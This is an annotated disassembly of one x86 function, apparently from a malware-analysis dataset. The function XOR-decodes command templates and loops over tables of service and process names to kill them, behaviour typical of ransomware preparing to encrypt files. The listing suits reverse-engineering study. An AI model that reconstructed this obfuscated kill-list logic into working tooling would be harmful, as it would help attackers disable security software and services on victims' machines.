Function at 0x413540
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x258
mov eax, dword [0x493018]
xor eax, esp
mov dword [esp + 0x254], eax
push esi
push edi
push str.kill_services_processes_n
call fcn.004022c0
add esp, 4
lea eax, [esp + 0x58]
push 0x200
push 0
push eax
call fcn.0044ee30
mov edi, dword fs:[0x2c]
add esp, 0xc
mov esi, 0x499468
nop dword [eax]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413595
sub ecx, edx
je 0x413691
push esi
push str.kill_services__s_n
call fcn.004022c0
mov ecx, dword [edi]
add esp, 8
mov eax, dword [0x49e4e8]
mov byte [esp + 0x10], 0x2e
cmp eax, dword [ecx + 4]
jle 0x41360d
push 0x49e4e8
call fcn.00437568
add esp, 4
cmp dword [0x49e4e8], 0xffffffff
jne 0x41360d
movaps xmm0, xmmword [0x4893f0]
mov al, byte [esp + 0x10]
push 0x4783d0
movups xmmword [0x4a04dc], xmm0
mov byte [0x4a04ec], al
call fcn.0043798f
add esp, 4
push 0x49e4e8
call fcn.0043751e
add esp, 4
mov al, byte [0x4a04ec]
test al, al
je 0x413636
movups xmm0, xmmword [0x4a04dc]
xor al, 0x2e
movaps xmm1, xmmword [0x489130]
pxor xmm1, xmm0
mov byte [0x4a04ec], al
movups xmmword [0x4a04dc], xmm1
push esi
lea eax, [esp + 0x5c]
push 0x4a04dc
push eax
call fcn.00402370
add esp, 0xc
lea edx, [esp + 0x58]
lea ecx, [esp + 0x30]
push 1
call fcn.004142a0
mov edx, dword [esp + 0x48]
add esp, 4
cmp edx, 0x10
jb 0x413691
mov ecx, dword [esp + 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x413687
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4137ed
push edx
push ecx
call fcn.00437415
add esp, 8
add esi, 0x32
cmp esi, 0x49bb78
jl 0x413590
mov esi, 0x49bb78
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4136b0
sub ecx, edx
je 0x4137c8
push esi
push str.kill_processes__s_n
call fcn.004022c0
mov ecx, dword [edi]
add esp, 8
mov eax, dword [0x4a0320]
mov dword [esp + 0x40], 0x10e5d0b
mov word [esp + 0x44], 0x2e7a
cmp eax, dword [ecx + 4]
jle 0x41373d
push 0x4a0320
call fcn.00437568
add esp, 4
cmp dword [0x4a0320], 0xffffffff
jne 0x41373d
mov eax, dword [esp + 0x40]
movaps xmm0, xmmword [str.ZO_EEGBB]
mov dword [0x49f890], eax
mov ax, word [esp + 0x44]
push 0x4783b0
movups xmmword [0x49f880], xmm0
mov word [0x49f894], ax
call fcn.0043798f
add esp, 4
push 0x4a0320
call fcn.0043751e
add esp, 4
cmp byte [0x49f895], 0
je 0x413771
movups xmm0, xmmword [0x49f880]
mov eax, 0x10
movaps xmm1, xmmword [0x489130]
pxor xmm1, xmm0
movups xmmword [0x49f880], xmm1
xor byte [eax + 0x49f880], 0x2e
inc eax
cmp eax, 0x16
jb 0x413764
push esi
lea eax, [esp + 0x5c]
push 0x49f880
push eax
call fcn.00402370
add esp, 0xc
lea edx, [esp + 0x58]
lea ecx, [esp + 0x30]
push 1
call fcn.004142a0
mov edx, dword [esp + 0x48]
add esp, 4
cmp edx, 0x10
jb 0x4137c8
mov ecx, dword [esp + 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4137be
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4137ed
push edx
push ecx
call fcn.00437415
add esp, 8
add esi, 0x32
cmp esi, 0x49e288
jl 0x4136a5
mov ecx, dword [esp + 0x25c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.004373d4
mov esp, ebp
pop ebp
ret
call fcn.0045219a
int3